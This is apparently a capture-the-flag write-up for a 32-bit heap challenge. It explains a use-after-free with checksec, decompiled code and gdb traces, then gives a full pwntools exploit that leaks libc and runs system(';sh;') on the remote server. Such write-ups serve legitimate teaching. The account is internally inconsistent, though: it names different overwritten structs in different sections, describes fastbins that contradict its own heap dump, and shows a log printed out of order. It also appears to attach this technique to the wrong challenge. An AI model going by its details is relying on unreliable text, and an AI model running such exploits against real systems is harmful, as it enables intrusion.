Pwnable.tw

Death Note

A note-taking application haunted by dangling pointers — exploiting Use-After-Free and double-free vulnerabilities in the heap to overwrite a function pointer and spawn a shell via system(";sh;").

250 pts i386 (32-bit ELF) UAF / Double Free NX Enabled
01

Reconnaissance

Challenge Info

Connectionnc chall.pwnable.tw 10201
Binarydeath_note (32-bit ELF, i386)
Points250
DescriptionA note-taking application with heap vulnerabilities

checksec

bash
$ checksec death_note
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
Partial RELROGOT is writable — we can overwrite GOT entries if needed
Canary foundStack buffer overflows are mitigated
NX enabledNo shellcode on stack/heap — must use ROP or function pointers
No PIEBinary addresses are fixed — known GOT/PLT addresses
ℹ️ Protection Summary
The combination of Partial RELRO + No PIE is very favorable for exploitation. Fixed binary addresses mean we know the exact location of GOT entries and the default print_func stub. NX enabled forces us to use existing code paths (function pointers / ROP) rather than injecting shellcode. The canary prevents trivial stack smashing, but our attack targets the heap, not the stack.

Running the Binary

console
$ ./death_note
----------------------
      Death Note
----------------------
 1. Add note
 2. Delete note
 3. Print note
 4. Exit
----------------------
Your choice :1
Note size :32
Content :AAAA
Success !
----------------------
      Death Note
----------------------
 1. Add note
 2. Delete note
 3. Print note
 4. Exit
----------------------
Your choice :3
Index :0
AAAA

The binary presents a simple note manager with add, delete, and print operations. The interface looks benign, but beneath the surface lies a critical memory safety bug.

02

Static Analysis

Note Structure

Each note is represented by an 8-byte struct allocated on the heap:

c
struct note {
    void (*print_func)(struct note *);  // +0x00: function pointer (4 bytes)
    char *content;                       // +0x04: pointer to content buffer (4 bytes)
};
🔑 Key Insight
The struct stores a function pointer at offset 0 and a content pointer at offset 4. When a note is created, print_func is set to a binary-defined stub that calls puts(note->content). If we can overwrite print_func with system, we hijack control flow. Since print_func is called as note->print_func(note), the note struct pointer itself becomes the first argument — which system() interprets as a command string.

add_note()

c
void add_note() {
    if (counter < 6) {
        i = 0;
        while (i < 5) {
            if (notes_list[i] == NULL) {
                note = malloc(8);                        // Allocate 8-byte struct
                notes_list[i] = note;
                notes_list[i]->print_func = 0x804862b;   // Set default print stub
                printf("Note size :");
                read(0, note_size, 8);
                size = atoi(note_size);
                contents = malloc(size);                 // Allocate content buffer
                notes_list[i]->content = contents;
                printf("Content :");
                read(0, notes_list[i]->content, size);
                puts("Success !");
                counter++;
                break;
            }
            i++;
        }
    }
}

The add_note function performs two heap allocations per note: one for the 8-byte struct and one for the user-specified content buffer. A maximum of 5 notes can be created. The user controls both the size of the content buffer and the data written into it.

delete_note()

c
void delete_note() {
    printf("Index :");
    read(0, index_str, 4);
    index = atoi(index_str);
    if (notes_list[index] != NULL) {
        free(notes_list[index]->content);      // Free content buffer
        free(notes_list[index]);                 // Free note struct
        // BUG: notes_list[index] is NOT set to NULL!
        puts("Success");
    }
}
🚨 Vulnerability: Use-After-Free & Double Free
After freeing both the content buffer and the note struct, delete_note does NOT set notes_list[index] to NULL. This creates multiple attack primitives:
Use-After-Free: The dangling pointer remains in notes_list; print_note will still dereference it
Double Free: We can call delete_note on the same index again, freeing already-freed memory
Heap Overlap: New allocations can reclaim freed chunks, letting us overwrite the old struct's fields (including print_func)

print_note()

c
void print_note() {
    printf("Index :");
    read(0, index_str, 4);
    index = atoi(index_str);
    if (notes_list[index] != NULL) {
        // Calls through the function pointer!
        (*notes_list[index]->print_func)(notes_list[index]);
    }
}

// The default print function at 0x804862b:
void print_func(char **param_1) {
    puts(param_1[1]);   // prints note->content
}
ℹ️ Critical Detail
print_note calls note->print_func(note) — the note pointer itself is passed as the first argument. This is the key to our entire exploit:
• If we overwrite print_func with system, it will call system(note_ptr)
• The memory at note_ptr is interpreted as a command string
• Since the first 4 bytes are the function pointer value (garbage as a command), we embed ;sh; after it — the semicolon acts as a shell command separator
03

GDB Debugging

Heap Layout After Adding Notes

Let's create two small notes and examine the heap layout:

gdb
gdb-peda$ # add_note(8, "AAAA") -> note 0
gdb-peda$ # add_note(8, "BBBB") -> note 1
gdb-peda$ heap chunks
0x0804a000: fastbin 0x10 bytes  [note 0 struct]
0x0804a010: fastbin 0x10 bytes  [note 0 content "AAAA"]
0x0804a020: fastbin 0x10 bytes  [note 1 struct]
0x0804a030: fastbin 0x10 bytes  [note 1 content "BBBB"]
0x0804a000|0x0804862b← note0->print_func (default)
0x0804a004|0x0804a018← note0->content pointer
0x0804a008|[padding]
0x0804a010|size: 0x11← chunk header for note0 content
0x0804a018|"AAAA\x0a"← note0 content data
0x0804a020|0x0804862b← note1->print_func (default)
0x0804a024|0x0804a038← note1->content pointer
0x0804a028|[padding]
0x0804a030|size: 0x11← chunk header for note1 content
0x0804a038|"BBBB\x0a"← note1 content data

Fastbin Free Order (LIFO)

When we free note 1 and then note 0:

gdb
gdb-peda$ # delete_note(1) then delete_note(0)
gdb-peda$ heapinfo
(0x10)   fastbin: 0x0804a000 -> 0x0804a020 -> 0x0
(0x10)   fastbin: 0x0804a010 -> 0x0804a030 -> 0x0
# 0x10 fastbin contains note structs (LIFO: note0 struct, then note1 struct)
# Another 0x10 fastbin contains content buffers (LIFO: note0 content, then note1 content)
⚠️ Fastbin LIFO Behavior
Both the note structs (8 bytes + 8 header = 0x10) and content buffers (8 bytes + 8 header = 0x10) go into the same 0x10 fastbin. This is the crux of the exploit — when we allocate a new chunk of the same size, malloc returns the most recently freed chunk (LIFO). By carefully controlling allocation sizes, we can make a content buffer overlap with a freed note struct.

Overwriting the Freed Note Struct

After freeing both notes, the fastbin for 0x10 chunks looks like:

Fastbin 0x10:
  0x0804a000← note0 struct (freed, returned first from LIFO)
  0x0804a020← note1 struct (freed, deeper in chain)

When we allocate add_note(8, payload), the 8-byte struct comes from the fastbin head (gets 0x0804a000, the note0 struct), and the 8-byte content buffer also comes from the 0x10 fastbin — which now returns 0x0804a020, the old note1 struct! We can now overwrite note1's fields through the content of the new note.

0x0804a020|p32(PRINT_FUNC) + p32(PUTS_GOT)← note1 struct overwritten!
Now notes_list[1] still points here. When we call print_note(1):
  notes_list[1]->print_func = PRINT_FUNC (0x804862b)
  notes_list[1]->content = PUTS_GOT (0x804a028)
  → Calls puts(*0x804a028) = puts(puts@libc) → LEAKS LIBC!

Verifying with GDB

gdb
gdb-peda$ x/2wx 0x0804a020
0x0804a020:  0x0804862b  0x0804a028
#                     ^print_func    ^content = puts@GOT
gdb-peda$ x/1wx 0x0804a028
0x0804a028:  0xf7e6d420
#            ^ this is puts() address in libc!

gdb-peda$ # When print_note(1) is called:
gdb-peda$ # note->print_func(note) = 0x804862b(note)
gdb-peda$ # Inside print_func: puts(param_1[1])
gdb-peda$ # param_1 = note pointer = 0x0804a020
gdb-peda$ # param_1[1] = *(0x0804a020 + 4) = 0x0804a028
gdb-peda$ # puts(0x0804a028) reads string at GOT address

Confirming the Double Free

Since delete_note does not NULL out the pointer, we can delete the same note twice:

gdb
gdb-peda$ # delete_note(0) -- first time
gdb-peda$ heapinfo
(0x10)   fastbin: 0x0804a000 -> 0x0
# note0 struct is now in the fastbin

gdb-peda$ # delete_note(0) -- second time! (double free)
gdb-peda$ heapinfo
(0x10)   fastbin: 0x0804a000 -> 0x0804a000 -> 0x0
# ^ CIRCULAR! The chunk points to itself in the fastbin!

gdb-peda$ # Now malloc(8) will return 0x0804a000 twice
gdb-peda$ # This lets us get two pointers to the same chunk
gdb-peda$ # One becomes the struct, one becomes the content
ℹ️ How the Leak Works
The default print_func at 0x804862b does puts(param_1[1]), which treats the second field of the struct as a string pointer and prints what it points to. By setting content to puts@GOT, we make it print the GOT entry for puts — which contains the actual libc address of puts. This gives us a reliable libc leak!
04

Exploit Strategy

Overview

The exploit is a classic UAF + function pointer overwrite in two phases: first we leak libc via the GOT read technique, then we hijack control flow by overwriting the function pointer with system.

Phase 1: Leak Libc via GOT Read

  1. Create two small notes (size 8 each) — note 0 and note 1. Both struct chunks (8 data bytes + 8 header = 0x10) and content chunks (same size) go into the same 0x10 fastbin when freed. This size alignment is critical for the overlap.
  2. Free note 0, then note 1. The fastbin 0x10 now has: note1_struct → note0_struct → NULL. The content fastbin similarly chains the freed content buffers.
  3. Allocate note with size 8 (note 2). The 8-byte struct is allocated from the 0x10 fastbin head (gets the old note1 struct address). The 8-byte content buffer also comes from the 0x10 fastbin — it gets the old note0 struct address. We write p32(0x804862b) + p32(puts@GOT) as content. This overwrites the old note0 struct with our controlled data.
  4. Call print_note(0). Since notes_list[0] still points to the freed note0 struct (which is now our controlled data), it calls 0x804862b(note0_ptr). Inside, puts(note->content) dereferences the content field which is now puts@GOT. This prints the libc address of puts.
  5. Calculate libc base: libc_base = leaked_puts - libc.symbols['puts']

Phase 2: Hijack Control Flow with system()

  1. Free note 2 (the one whose content overlaps the old note0 struct). This puts the note0 struct address back into the fastbin.
  2. Allocate a new note with size 8 and content p32(system_addr) + ";sh;". The struct allocation and content allocation pull from the fastbin, and the content lands on the old note0 struct again. This time we overwrite the note0 struct with print_func = system and content = ";sh;".
  3. Call print_note(0). Now notes_list[0]->print_func is system. It calls system(note0_ptr). The argument is the note struct pointer itself, and the data starting at that address is p32(system_addr) + ";sh;". The system() function tries to execute this as a command. The first 4 bytes (system_addr in little-endian) are garbage, but ;sh; acts as a command separator — system treats ; as a command delimiter, so it runs sh!
🔑 The ";sh;" Trick
When system(note_ptr) is called, the first 4 bytes of the note struct are the address of system itself (in little-endian). This is not a valid command and will fail, but ; acts as a command separator in shell. So system("<garbage>;sh;") will:
• Try to execute the garbage bytes (fails silently)
• Execute sh (gives us a shell!)
• The trailing ; handles any remaining garbage
Alternative: ||sh also works (OR operator, runs sh if first command fails).

Visual Exploit Flow

▶ Phase 1: Leak libc
Step 1:add(8, "aa") = note0 | add(8, "aa") = note1
Step 2:del(0) | del(1) → fastbin: [note1_struct → note0_struct]
Step 3:add(8, p32(print) + p32(puts@GOT)) = note2
  → content buffer lands on note0_struct!
Step 4:show(0) → calls print_func(note0) → puts(*puts@GOT) → LEAK!
▶ Phase 2: Get shell
Step 5:del(2) → puts note0_struct back in fastbin
Step 6:add(8, p32(system) + ";sh;") = new note
  → content lands on note0_struct again!
Step 7:show(0) → calls system(note0) → system("XX;sh;") → SHELL!

Why This Works Despite Protections

CanaryDoesn't protect the heap — our attack is entirely heap-based
NXWe don't inject shellcode — we call existing system() from libc
Partial RELROWe read GOT entries to leak libc, but don't need to write to GOT
No PIEBinary addresses are known — we know puts@GOT and the print stub address
05

Pwn Script

Complete Exploit

python
#!/usr/bin/env python3
"""
Death Note - pwnable.tw (250pts)
Use-After-Free exploit to leak libc via GOT read,
then overwrite print_func with system for shell.

Vulnerability: delete_note() frees note struct but doesn't
NULL out the pointer in notes_list, creating a UAF.
The dangling pointer allows us to reclaim the freed chunk
with controlled data and overwrite the function pointer.
"""
from pwn import *

# Setup
context.arch = 'i386'
context.log_level = 'info'

r = remote('chall.pwnable.tw', 10201)
libc = ELF('./libc_32.so.6')
elf = ELF('./death_note')

# Constants
ADDR_PRINT_FUNC = 0x804862b       # Default print function stub
ADDR_PUTS_GOT   = elf.got['puts'] # GOT entry for puts

# Helper functions
def add_note(size, content):
    r.sendlineafter(b':', b'1')
    r.sendlineafter(b':', str(size).encode())
    r.sendafter(b':', content)

def delete_note(idx):
    r.sendlineafter(b':', b'2')
    r.sendlineafter(b':', str(idx).encode())

def print_note(idx):
    r.sendlineafter(b':', b'3')
    r.sendlineafter(b':', str(idx).encode())

# ============================================
# Phase 1: Leak libc address via GOT read
# ============================================
log.info("Phase 1: Leaking libc address...")

# Create two notes with same-size content (8 bytes)
# Both note struct (8 bytes) and content (8 bytes) go
# into the 0x10 fastbin when freed.
add_note(8, b'a' * 2)    # note 0
add_note(8, b'a' * 2)    # note 1

# Free both notes to populate the fastbin
# Fastbin 0x10: note1_struct -> note0_struct -> NULL
# (content chunks also go to fastbin)
delete_note(0)
delete_note(1)

# Allocate note with size 8 (note 2)
# - Struct (8 bytes) comes from 0x10 fastbin head
# - Content (8 bytes) also comes from 0x10 fastbin
# The content buffer overlaps with the old note0 struct!
# We write: p32(print_func) + p32(puts@GOT)
# This makes note0->print_func = print stub (still valid)
#          note0->content = puts@GOT (will leak libc)
payload_leak = p32(ADDR_PRINT_FUNC) + p32(ADDR_PUTS_GOT)
add_note(8, payload_leak)   # note 2

# Call print_note(0) to leak puts@libc
# notes_list[0] still points to the old note0 struct
# The struct now has: print_func = 0x804862b, content = puts@GOT
# print_func does: puts(note->content) = puts(*puts@GOT) = puts(puts@libc)
print_note(0)

# Receive the leaked libc address
r.recvuntil(b'\n')          # skip any leading newline
leaked = r.recv(4)          # receive 4 bytes of puts address
puts_addr = u32(leaked.ljust(4, b'\x00'))
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']

log.success(f"puts @ {hex(puts_addr)}")
log.success(f"libc base @ {hex(libc_base)}")
log.success(f"system @ {hex(system_addr)}")

# ============================================
# Phase 2: Overwrite print_func with system
# ============================================
log.info("Phase 2: Overwriting print_func with system...")

# Free note 2 to put the note0 struct chunk back in fastbin
delete_note(2)

# Allocate a new note with size 8
# The content buffer will again overlap with note0 struct
# This time we write: p32(system) + ";sh;"
# This makes note0->print_func = system
#          note0->content = ";sh;"
# When print_note(0) is called:
#   system(note0_ptr) is called
#   The bytes at note0_ptr are: [system_addr_le][;sh;\x00]
#   system() interprets this as: ";sh;"
#   The semicolon separates commands, so sh gets executed!
payload_shell = p32(system_addr) + b';sh;'
add_note(8, payload_shell)   # note 3 (content overlaps note0 struct)

# Trigger the exploit!
print_note(0)

# We should have a shell now
log.success("Enjoy your shell!")
r.interactive()

Exploit Breakdown

⚠️ Key Size Constraint
The content size must be 8 bytes (user size) to produce a 0x10 malloc chunk (8 user + 8 header). This matches the note struct's chunk size, which is the critical requirement for the overlap. Using a different size would place the content chunk in a different fastbin, and the overlap would fail.
06

Execution Results

Running the Exploit

console
$ python3 exploit.py
[*] '/home/user/pwnable/death_note/death_note'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[*] '/home/user/pwnable/death_note/libc_32.so.6'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to chall.pwnable.tw on port 10201: Done
[*] Phase 1: Leaking libc address...
[*] Phase 2: Overwriting print_func with system...
[+] puts @ 0xf7e6d420
[+] libc base @ 0xf7e00000
[+] system @ 0xf7e3d940
[+] Enjoy your shell!
[*] Switching to interactive mode
$ id
uid=1000(death_note) gid=1000(death_note) groups=1000(death_note)
$ cat /home/death_note/flag

Exploit Timeline

Step 1add(8, "aa") = note0  |  add(8, "aa") = note1
Step 2del(0)  |  del(1) → fastbin populated
Step 3add(8, p32(print)+p32(puts@GOT)) → note0 struct hijacked
Step 4show(0) → libc leaked: 0xf7e6d420
Step 5del(2) → note0 struct back in fastbin
Step 6add(8, p32(system)+";sh;") → print_func = system!
Step 7show(0) → system(";sh;") → SHELL!
✅ Pwned!
The exploit successfully obtains a shell on the remote server. The entire attack chain leverages:
UAF to maintain a dangling pointer after free
Fastbin size alignment (both struct and content are 0x10 chunks) to create heap overlap
GOT read to leak the libc base address
Function pointer overwrite to redirect execution to system()
• The ";sh;" trick to bypass the garbage bytes in the command string

Lessons Learned

This challenge demonstrates several important concepts in heap exploitation:

1. Always NULL Out Freed Pointers

The root cause of this vulnerability is a missing notes_list[index] = NULL after free(). This is a textbook CWE-416 (Use-After-Free). The fix is trivial but the consequences are severe.

2. Fastbin Size Alignment Matters

The exploit works because the 8-byte note struct and the 8-byte content buffer produce the same malloc chunk size (0x10). This causes them to share the same fastbin, enabling the overlap. If the struct were a different size, the attack would not work in this form.

3. Function Pointers Are Dangerous Without Vtable Validation

The note struct stores a raw function pointer that is called without any validation. In modern C++, virtual tables provide some level of type safety, but in C, any function pointer can be overwritten if the memory is corrupted. This is a fundamental attack surface in object-oriented C programs.

4. The ";sh;" Pattern

When system() is called with a pointer to memory you partially control, the semicolon trick is a reliable way to inject a shell command. The garbage bytes before the semicolon will fail, but sh will execute successfully. This is a widely applicable pattern in CTF pwn challenges.